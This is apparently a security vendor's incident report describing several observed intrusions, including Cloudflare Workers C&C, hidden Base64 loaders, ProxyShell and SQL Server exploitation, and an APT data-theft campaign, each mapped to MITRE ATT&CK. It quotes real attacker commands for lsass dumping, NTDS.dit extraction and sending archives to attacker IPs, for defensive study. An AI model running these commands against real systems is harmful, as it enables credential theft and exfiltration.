Server-side attacks, C&C in public clouds and other MDR cases we observed

Introduction

This report describes several interesting incidents observed by the Kaspersky Managed Detection and Response (MDR) team. The goal of the report is to inform our customers about techniques used by attackers. We hope that learning about the attacks that took place in the wild helps you to stay up to date on the modern threat landscape and to be better prepared for attacks.

Command and control via the public cloud

The use of public cloud services like Amazon, Azure or Google can make an attacker’s server difficult to spot. Kaspersky has reported several incidents where attackers used cloud services for C&C.

Case #1: Cloudflare Workers as redirectors

Case description

The incident started with Kaspersky MDR detecting the use of a comprehensive toolset for security assessment, presumably Cobalt Strike, by an antimalware (AM) engine memory scan (MEM:Trojan.Win64.Cobalt.gen). The memory space belongs to the process c:windowssystem32[legitimate binary name]^[1].exe.

While investigating, we found that the process had initiated network connections to a potential C&C server:

hXXps://blue-rice-1d8e.dropboxonline.workers[.]dev/jquery/secrets/[random sequence]
hXXps://blue-rice-1d8e.dropboxonline.workers[.]dev/mails/images/[cut out]?_udpqjnvf=[cut out]

The URL format indicates the use of Cloudflare Workers.

We then found that earlier, the binary had unsuccessfully^[2] attempted to execute an lsass.exe memory dump via comsvcs.dll:

CMd.exE /Q /c for /f "tokens=1,2 delims= " ^%A in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do rundll32.exe C:windowsSystem32comsvcs.dll, MiniDump ^%B WindowsTemp[filename].doc full

Several minutes later, a suspicious .bat script was run. This created a suspicious WMI consumer, later classified by MDR as an additional persistence mechanism.

The incident was detected in a timely manner, so the attacker did not have the time to follow through. The attacker’s final goals are thus unknown.

Case detection

The table below lists the signs of suspicious activity that were the starting point for the investigation by the SOC.

MITRE ATT&CK Technique	MDR telemetry event type used	Detection details	Description
T1588.002: Tool	AM engine detection on beacon	AM verdict: MEM:Trojan.Win64.Cobalt.gen, which can be used for Cobalt Strike or Meterpreter	A malicious payload was executed in the victim’s system and started communicating with the C&C server
T1620: Reflective Code Loading	AM detection in memory	AM verdict: MEM:Trojan.Win64.Cobalt.gen	The malicious payload migrated to the victim’s memory
	Process injection	Detection of code injection from an unknown binary into a system binary
T1071.001: Web Protocols	HTTP connection Process start	Suspicious HTTP connections to the malicious URL: blue-rice-1d8e[.]dropboxonline.workers.dev/… from a non-browser process with a system integrity level	The attacker’s communications with the C&C server
T1584.006: Web Services	HTTP connection	URL reputation, regular expression in URL	The attacker’s communications with the C&C server
T1102.001: Dead Drop Resolver	HTTP connection	URL reputation, regular expression in URL	The attacker’s communications with the C&C server
T1003.001: LSASS Memory	AM detection on suspicious activity	AM detection on lsass memory access	The attacker’s unsuccessful attempt to dump the lsass.exe memory to a file
	Process start	Regex on command like: rundll32.exe C:WindowsSystem32comsvcs.dll MiniDump <PID> lsass.dmp full
T1546.003: Windows Management Instrumentation Event Subscription	Windows event WMI activity	WMI active script event consumer created remotely	The attacker gained persistence through active WMI

Payload hidden in long text

Case #1: A scheduled task that loads content from a long text file

Case description

This case started with a suspicious scheduled task. The listing below should give you a general idea of the task and the command it executes.
Scheduled task:

MicrosoftWindowsManagementProvisioningYLepG5JS75C8620-1D71-4322-ACE4-45C018679FC9, HKLMSOFTWAREMicrosoftWindows NTCurrentVersionScheduleTaskCacheTasks{A311AA10-BBF3-4CDE-A00B-AAAAB3136D6A}, C:WindowsSystem32TasksMicrosoftWindowsManagementProvisioningYLepG5JS75C8620-1D71-4322-ACE4-45C018679FC9

Command:

"wscript.exe" /e:vbscript /b "C:WindowsSystem32r4RYLepG59B2278BC-F6CB-46D1-A73D-5B5D8AF9AC7C" "n; $sc = [System.Text.Encoding]::UTF8.GetString([System.IO.File]::ReadAllBytes('C:WindowsSystem32driversS2cZVnXzpZ2F4F239-0922-49FE-A338-C7460CB37D95.sys'), 1874201, 422); $sc2 = [Convert]::FromBase64String($sc); $sc3 = [System.Text.Encoding]::UTF8.GetString($sc2); Invoke-Command ([Scriptblock]::Create($sc3))"

The scheduled task invokes a VBS script (file path: C:WindowsSystem32r4RYLepG59B2278BC-F6CB-46D1-A73D-5B5D8AF9AC7C, MD5 106BC66F5A6E62B604D87FA73D70A708), which decodes from the Base64-encoded content of the file C:WindowsSystem32driversS2cZVnXzpZ2F4F239-0922-49FE-A338-C7460CB37D95.sys, and then executes the latter.

The VBS script mimics the content and behavior of the legitimate C:WindowsSystem32SyncAppvPublishingServer.vbs file, but the path and file name are different.

The customer approved our MDR SOC analyst’s request to analyze the file C:WindowsSystem32driversS2cZVnXzpZ2F4F239-0922-49FE-A338-C7460CB37D95.sys. A quick analysis revealed a Base64-encoded payload inside long text content (see the picture below).

The decoded payload contained a link to a C&C server:

Further telemetry analysis showed that the infection was probably caused by the following process, likely a malicious activator (MD5 F0829E688209CA94305A256B25FEFAF0):

C:Users<… cut out … >DownloadsExcelAnalyzer 3.4.3crackPatch.exe

The activator was downloaded with the Tixati BitTorrent client and executed by a member of the local Administrators group.

Fortunately, the telemetry analysis did not reveal any evidence of malicious activity from the discovered C&C server (counter[.]wmail-service[.]com), which would have allowed downloading further stages of infection. In the meantime, a new AM engine signature was released, and the malicious samples were now detected as Trojan-Dropper.Win64.Agent.afp (F0829E688209CA94305A256B25FEFAF0) and Trojan.PowerShell.Starter.o (106BC66F5A6E62B604D87FA73D70A708). The C&C URL was correctly classified as malicious.

Case detection

The table below lists the attack techniques and how they were detected by Kaspersky MDR.

MITRE ATT&CK Technique	MDR telemetry event type used	Detection details	Description
T1547.001: Registry Run Keys / Startup Folder	Autostart entry	Regex on autostart entry details	Malicious persistence
	AM detection	Heuristic AM engine verdict: HEUR:Trojan.Multi.Agent.gen
T1059.001: PowerShell	Autostart entry	Regex on autostart entry details	Execution of PowerShell code via “ScriptBlock” instead of “Invoke-Expression”
T1216.001: System Script Proxy Execution	Process start	Regex on command line	Malicious payload execution via C:WindowsSystem32 SyncAppvPublishingSer ver.vbs
T1204.002: Malicious File	Process start	Execution sequence: svchost.exe → explorer.exe → patch.exe From directory: C:Users< removed>DownloadsExcelAnaly zer 3.4.3crack	The user executed a file downloaded by the Tixati BitTorrent client As a result, the file 02f4f239-0922-49fe- a338-c7460cb37d95.sys was created
	Local file operation	Creation of c:users<removed>downloadsex celanalyzer 3.4.3setup_excelanalyzer.exe In this order: chrome.exe → tixati.exe
	Local file operation	Creation of 02f4f239-0922-49fe- a338-c7460cb37d95.sys In this order: svchost.exe → patch.exe Process command line: “C:Users<removed>Downloads ExcelAnalyzer 3.4.3crackPatch.exe” The contents of 02f4f239-0922- 49fe-a338-c7460cb37d95.sys do not match the extension (text instead of binary).
T1027: Obfuscated Files or Information T1140: Deobfuscate/Decode Files or Information	The suspicious file 02f4f239-0922-49fe-a338-c7460cb37d95.sys was requested from the customer via an MDR response	02f4f239-0922-49fe-a338- c7460cb37d95.sys contained text; starting on line 4890, it contained a Base-64-encoded payload.	Attacker hid payload
T1071.001: Web Protocols	HTTP connection Network connection	The SOC checked for successful connections to the discovered C&C server.	A search for the attacker’s possible attempts to execute further stages of the attack

Server-side attacks on the perimeter

Case #1: A ProxyShell vulnerability in Microsoft Exchange

Case description

During manual threat hunting, the Kaspersky SOC team detected suspicious activity on a Microsoft Exchange server: the process MSExchangeMailboxReplication.exe attempted to create several suspicious files:

\127.0.0.1c$inetpubwwwrootaspnet_clientrqfja.aspx
c:program filesmicrosoftexchange serverv15frontendhttpproxyecpauthyjiba.aspx
c:program filesmicrosoftexchange serverv15frontendhttpproxyowaauthjiwkl.aspx
c:program filesmicrosoftexchange serverv15frontendhttpproxyowaauthcurrentqwezb.aspx
c:program filesmicrosoftexchange serverv15frontendhttpproxyowaauthcurrentscriptsqspwi.aspx
c:program filesmicrosoftexchange serverv15frontendhttpproxyowaauthcurrentscriptspremiumupxnl.aspx
c:program filesmicrosoftexchange serverv15frontendhttpproxyowaauthcurrentthemesqikyp.aspx
c:program filesmicrosoftexchange serverv15frontendhttpproxyowaauthcurrentthemesresourcesjvdyt.aspx
c:program filesmicrosoftexchange serverv15frontendhttpproxyecpauthmgsjz.aspx

The ASPX file format, which the service should not create, and the random file names led our SOC analyst to believe that those files were web shells.

Telemetry analysis of the suspicious file creation attempts showed that Kaspersky Endpoint Security (KES) had identified the process behavior as PDM:Exploit.Win32.Generic and blocked some of the activities.

Similar behavior was detected the next day, this time an attempt at creating one file:

\127.0.0.1c$inetpubwwwrootaspnet_clientrmvbe.aspx

KES had blocked the exploitation attempts. Nonetheless, the attempts themselves indicated that the Microsoft Exchange server was vulnerable and in need of patching as soon as possible.

Case detection

The table below lists the attack techniques and how these were detected by Kaspersky MDR.

MITRE ATT&CK Technique	MDR telemetry event type used	Detection details	Description
T1190: Exploit Public-Facing Application	AM detection	Heuristic AM engine verdict: PDM:Exploit.Win32.Generic	Exploitation attempt
T1505.003: Web Shell	Local file operation	Attempts at creating ASPX files using the MSExchangeMailboxReplication.exe process	Web shell file creation

Case #2: MS SQL Server exploitation

Case description

The incident was detected due to suspicious activity exhibited by sqlservr.exe, a legitimate Microsoft SQL Server process. At the time of detection, the account active on the host was S-1-5-21-<…>-<…>-<…>-181797 (Domain / username).

The SQL Server process attempted to create a suspicious file:

c:windowsserviceprofilesmssql$sqlexpressappdatalocaltemptmpd279.tmp

We observed that a suspicious assembly was loaded to the sqlserver process (c:program filesmicrosoft sql servermssql15.sqlexpressmssqlbinnsqlservr.exe) db_0x2D09A3D665536_fscbd (MD5 383D20DE8F94D12A6DED1E03F53C1E16) with the original file name evilclr.dll.

The file was detected by the AM engine as HEUR:Trojan.MSIL.Starter.gen, Trojan.Multi.GenAutorunSQL.b.

The SQL server host had previously been seen accessible from the Internet and in the process of being scanned by a TOR network.

After the suspicious assembly load, the AM engine detected execution of malicious SQL jobs. The SQL jobs contained obfuscated PowerShell commands. For example:

The created SQL jobs attempted to connect to URLs like those shown below:

hxxp://101.39.<…cut…>.58:16765/2E<…cut…>2F.Png
hxxp://103.213.<…cut…>.55:15909/2E<…cut…>2F.Png
hxxp://117.122.<…cut…>.10:19365/2E<…cut…>2F.Png
hxxp://211.110.<…cut…>.208:19724/2E<…cut…>2F.Png
hxxp://216.189.<…cut…>.94:19063/2E<.cut...>2F.Png
hxxp://217.69.<…cut…>.139:13171/2E<…cut…>2F.Png
hxxp://222.138.<…cut…>.26:17566/2E<…cut…>2F.Png
hxxp://222.186.<…cut…>.157:14922/2E<…cut…>2F.Png
hxxp://45.76.<…cut…>.180:17128/2E<…cut…>2F.Png
hxxp://59.97.<…cut…>.243:17801/2E<…cut…>2F.Png
hxxp://61.174.<…cut…>.163:15457/2E<…cut…>2F.Png
hxxp://67.21.<…cut…>.130:12340/2E<…cut…>2F.Png
hxxp://216.189.<…cut…>.94:19063/2E<…cut…>2F.Png
hxxp://67.21.<…cut…>.130:12340/2E<…cut…>2F.Png

Some of the IP addresses were already on the deny list, while others were added in response to this incident.

We were not able to observe any other host within the monitoring scope attempt to connect to these IP addresses, which confirmed that the attack was detected at an early stage.

The next day, the same activity, with the same verdicts (HEUR:Trojan.MSIL.Starter.gen, Trojan.Multi.GenAutorunSQL.b) was detected on another SQL Server host, which was also accessible from the Internet.

Since the attack was detected in time, and its further progress was blocked by the AM engine, the attacker was not able to proceed, while the customer corrected the network configuration errors to block access to the server from the Internet.

Case detection

The table below lists the attack techniques and how these were detected by Kaspersky MDR.

MITRE ATT&CK Technique	MDR telemetry event type used	Detection details	Description
T1090.003: Multi-hop Proxy T1595.002: Vulnerability Scanning	Network connection AM detection	Reputation analysis showed the use of TOR network for scanning. The scanning activity was detected through network connection analysis and by the AM engine.	The attacker scanned the SQL Server host
T1190: Exploit Public-Facing Application	Process start	The server application sqlservr.exe launched powershell.exe, in the following order: services.exe → sqlservr.exe → powershell.exe	The attacker successfully exploited the SQL server
	Autostart entry	Execution of the object previously detected as an autostart entry with a bad reputation: sql:SQLEXPRESSdb_0x2D09A3D665537_fscbd; original file name: evilclr.dll
T1059.001: PowerShell	Autostart entry Process start	Command line analysis showed the use of PowerShell.	Malicious persistence via an SQL Server job
T1027: Obfuscated Files or Information	Autostart entry	Regex- and ML-based analysis of the SQL Server Agent job command line	The attacker attempted to evade detection
	Process start	Regex- and ML-based analysis of the services.exe → sqlservr.exe → powershell.exe execution sequence command line
T1505.001: SQL Stored Procedures	Autostart entry	SQL Server Agent job analysis	Malicious persistence via an SQL Server job
	AM detection AM detection on suspicious activity	Heuristic detects on PowerShell SQL Server Agent; verdict: HEUR:Trojan.Multi.Powecod.a
T1071.001: Web Protocols	HTTP connection AM detection	The URL reputation as well as an AM generic heuristic verdict similar to HEUR:Trojan.Multi.GenBadur.genw pointed to the use of a malicious C&C server.	The attacker’s C&C server

What does exfiltration in a real-life APT look like?

Case #1: Collecting and stealing documents

Case description

Kaspersky MDR detected suspicious activity on one particular host in customer infrastructure, as the following process was started remotely by psexec:

“cmd.exe” /c “c:perflogs1.bat”, which started:

findstr  "10.<…cut…>.
wevtutil qe security /rd:true /f:text /q:"*[EventData/Data[@Name='TargetUserName']='<username1>'] and *[System[(EventID=4624) or (EventID=4623) or (EventID=4768) or (EventID=4776)]]"  /c:1 
wevtutil qe security /rd:true /f:text /q:"*[EventData/Data[@Name='TargetUserName']='<username2>'] and *[System[(EventID=4624) or (EventID=4623) or (EventID=4768) or (EventID=4776)]]" /c:1

After that, the following inventory commands were executed by the binary C:ProgramDataUSOPrivate UpdateStorewindnphd.exe:

C:Windowssystem32cmd.exe /C ping 10.<…cut…> -n 2 
query  user 
C:Windowssystem32cmd.exe /C tasklist /S 10.<…cut…> -U <domain><username3> -P <password>   
C:Windowssystem32cmd.exe /C net use \10.<…cut…>ipc$ "<password>" /u:<domain><username3>    
C:Windowssystem32cmd.exe /C net group "domain admins" /domain    
C:Windowssystem32cmd.exe /C ping <hostname1>    
C:Windowssystem32cmd.exe /C vssadmin list shadows    
C:Windowssystem32cmd.exe /C ipconfig /all    
C:Windowssystem32cmd.exe /C dir \10.<…cut…>c$

Suspicious commands triggering actions in the Active Directory Database were executed:

C:Windowssystem32cmd.exe /C ntdsutil snapshot "activate instance ntds" create quit  
C:Windowssystem32cmd.exe /C dir c:windowssystem32ntds.dit 
C:Windowssystem32cmd.exe /C dir c:  
C:Windowssystem32cmd.exe /C dir c:windowsntdsntds.dit

After these commands were executed, the windnphd.exe process started an HTTP connection:

hxxp[:]//31.192.234[.]60:53/useintget

Then a suspicious file, c:userspublicnd.exe (MD5 AAE3A094D1B019097C7DFACEA714AB1B), created by the windnphd.exe process, executed the following commands:

nd.exe  c:windowssystem32configsystem c:userspublicsys.txt   
nd.exe  c:windowsntdsntds.dit c:userspublicnt.txt 
C:Windowssystem32cmd.exe /C move *.txt c:userspublictmp   
C:Windowssystem32cmd.exe /C rar.exe a -k -r -s -m1  c:userspublicn.rar   c:userspublictmp 
rar.exe  a -k -r -s -m1  c:userspublicn.rar   c:userspublictmp

Later, the SOC observed that a suspicious scheduled task had been created on the same host:

schtasks  /create  /sc minute /mo 30 /ru system  /tn tmp /tr "c:userspublics.exe c:userspublic816-s.rar 38[.]54[.]14[.]183 53 down"  /f

The task executed a suspicious file: c:userspublics.exe (MD5 6C62BEED54DE668234316FC05A5B2320)

This executable used the archive c:userspublic816-s.rar and the suspicious IP address 38[.]54[.]14[.]183, located in Vietnam, as parameters.

The 0816-s.rar archive was created via remote execution of the following command through psexec:

rar a -k -r -s -ta[Pass_in_clear_text] -m1  c:userspublic816-s.rar   "\10.<…cut…>c$users<username4>Documents<DocumentFolder1>"

After that, we detected a suspicious network connection to the IP address 38[.]54[.]14[.]183 from the s.exe executable. The activity looked like an attempt to transfer the data collected during the attack to the attacker’s C&C server.

Similar suspicious behavior was detected on another host, <hostname>.

First, a suspicious file was created over the SMB protocol: c:userspublicwinpdasd.exe (MD5: B83C9905F57045110C75A950A4EE56E4).

Next, a task was created remotely via psexec.exe:

schtasks  /create  /sc minute /mo 30 /ru system  /tn tmp /tr "c:userspublicwinpdasd.exe"  /f

During task execution, an external network communication was detected, and certain discovery commands were executed:

hxxp://31[.]192.234.60:53/useintget
ping  10.<…cut…> -n 1
query  user
net  use

This was followed by a connection to a network share on the host 10.<…cut…> as username3:

C:Windowssystem32cmd.exe /C net use \10.<…cut…>ipc$ "<password>" /u:<domain><username3>

More reconnaissance command executions were detected:

C:Windowssystem32cmd.exe /C dir \10.<…cut…>c$users<username4>AppDataRoamingAdobeLinguistics
C:Windowssystem32cmd.exe /C tasklist /S 10.<…cut…> -U <domain><username3> -P <password> |findstr rundll32.exe
tasklist  /S 10.<…cut…> -U <domain><username3> -P <password>
C:Windowssystem32cmd.exe /C taskkill /S 10.<…cut…> -U <domain><username3> -P <password> /pid <PID> /f
C:Windowssystem32cmd.exe /C schtasks /run /s 10.<…cut…> /u <domain><username3> /p "<password>" /tn MicrosoftWindowsTcpipdcrpytod

Then winpdasd.exe created the file windpchsvc.exe (MD5: AE03B4C183EAA7A4289D8E3069582930) and set it up as a task:

C:Windowssystem32cmd.exe /C schtasks /create  /sc minute /mo 30 /ru system  /tn MicrosoftWindowsNetworkwindpch /tr "C:UsersadminAppDataRoamingMicrosoftNetworkwindpchsvc.exe"  /f

After that, C&C communications were detected:

hxxp://139.162.35[.]70:53/micsoftgp

This incident, a fragment of a long-running APT campaign, demonstrates a data collection scenario. It shows that the attacker’s final goal was to spy on and monitor the victim’s IT infrastructure. Another feature of targeted attacks that can be clearly seen from this incident is the use of custom tools. An analysis of these is given later in this report as an example.

Case detection

The table below lists the attack techniques and how these were detected by Kaspersky MDR.

MITRE ATT&CK Technique	MDR telemetry event type used	Detection details	Description
T1569.002: Service Execution	Process start	Command line analysis	The attacker performed reconnaissance and search in local logs The attacker persisted in the victim’s system through service creation
	Windows event	Windows events on service installation and service start
	AM detection on suspicious activity	AM behavior analysis	The attacker executed windnphd.exe through psexec
T1592: Gather Victim Host Information T1590: Gather Victim Network Information	Process start	Command line analysis	The attacker performed internal reconnaissance
T1021.002: SMB/Windows Admin Shares	Share access	Inbound and outbound share access	The attacker tried to access: \10.<…cut…>.65ipc$ \10.<…cut…>.52c$
T1003.003: NTDS	Process start	Command line analysis	The attacker accessed NTDS.dit with ntdsutil
T1071.001: Web Protocols	HTTP connection Network connection	The SOC checked if the data transfer was successful	The attacker communicated with the C&C server at hxxp[:]//31.192.234[ .]60:53/useintget
	AM detection on suspicious activity		The connection was initiated by the suspicious process windnphd.exe
T1571: Non-Standard Port	HTTP connection Network connection	The SOC detected the use of the HTTP protocol on the non-standard 53/TCP port	Attacker used the C&C server hxxp[:]//31.192.234[ .]60:53/useintget
T1587.001: Malware	Local file operation Process start AM detection on suspicious activity	Use of various suspicious binaries prepared by the attacker specifically for this attack	The attacker used custom tools: s.exe winpdasd.exe windpchsvc.exe (see detailed report below)
T1497: Virtualization/Sandbox Evasion	Malware analysis	Detected the HookSleep function (see below)	The attacker attempted to detect sandboxing. The emulation detection was found in the custom tools: winpdasd.exe and windpchsvc.exe
T1036.005: Match Legitimate Name or Location	Local file operation Malware analysis	Operations with the file c:usersDefaultntusers.dat	The attacker attempted to hide a shellcode inside a file with a name similar to the legitimate ntuser.dat
T1140: Deobfuscate/Decode Files or Information	Local file operation Malware analysis	The file ntusers.dat contained an encoded shellcode, which was later executed by winpdasd.exe and windpchsvc.exe	The attacker executed arbitrary code
T1560.001: Archive via Utility	Process start	Use of the RAR archiver for data collection	The attacker archived the stolen credentials and documents
T1048.003: Exfiltration Over Unencrypted Non-C2 Protocol	Process start	Command line analysis	The attacker used a custom tool to exfiltrate data
	Network connection	Analysis of the process that initiated the connection

An analysis of the custom tools used by the attacker

windpchsvc.exe and winpdasd.exe

Both malware samples are designed to extract a payload from a file, decode it, and directly execute it via a function call. The payload is encoded shellcode.

Both files read in from a file intended to deceive investigators and users by applying naming conventions that are similar to system files:

Payload file for windpchsvc.exe

The malware, windpchsvc.exe, reads from the file c:usersDefaultntusers.dat. A legitimate file, named ntuser.dat, exists in this location. Note that the bona fide registry file does not contain an ‘s’.

A similar file name was used for the winpdasd.exe malware:

Payload file for winpdasd.exe

The malware reads from this file and decodes the bytes for direct execution via a function call as seen below (call [ebp+payload_alloc] and call esi ):

windpchsvc.exe: decode, allocate memory, copy to mem, execute

winpdasd.exe: decode, allocate memory, copy to mem, execute via function call

The payload files (ntusers.dat) contain the main logic, while the samples we analyzed are just the loaders.

Some of the images show a function that I labeled “HookSleep” and which might be used for sandbox evasion in other forms of this malware. The function has no direct effect on the execution of the payload.

The decompiled function can be seen below:

The “HookSleep” function found in both files, decompiled

When debugging, this worked as expected. The Win32 Sleep function is directed to the defined function in the malware:

The Sleep function redirected back to the malware code

s.exe

This file can be classified as a simple network transfer tool capable of uploading or downloading. The basic parameters are as follows:

s.exe <file> <IP address> <port> <up|down>

This is basically netcat without all the features. The benefit of this is that it does not draw as much attention as netcat. In fact, while testing, we found that netcat, when set to listen, was able to receive a file from this sample and output to a file (albeit with some added junk characters in the results). We also found that the sample was incapable of executing anything after a download or upload.

The algorithm is pretty simple: network startup, parse arguments, create socket, send file or wait for file based on arguments. The decompiled main function can be seen below:

Decompiled network transfer tool

^[1] The actual name of the binary is unimportant; hence it was skipped.
^[2] Kaspersky Endpoint Security efficiently protects LSASS memory.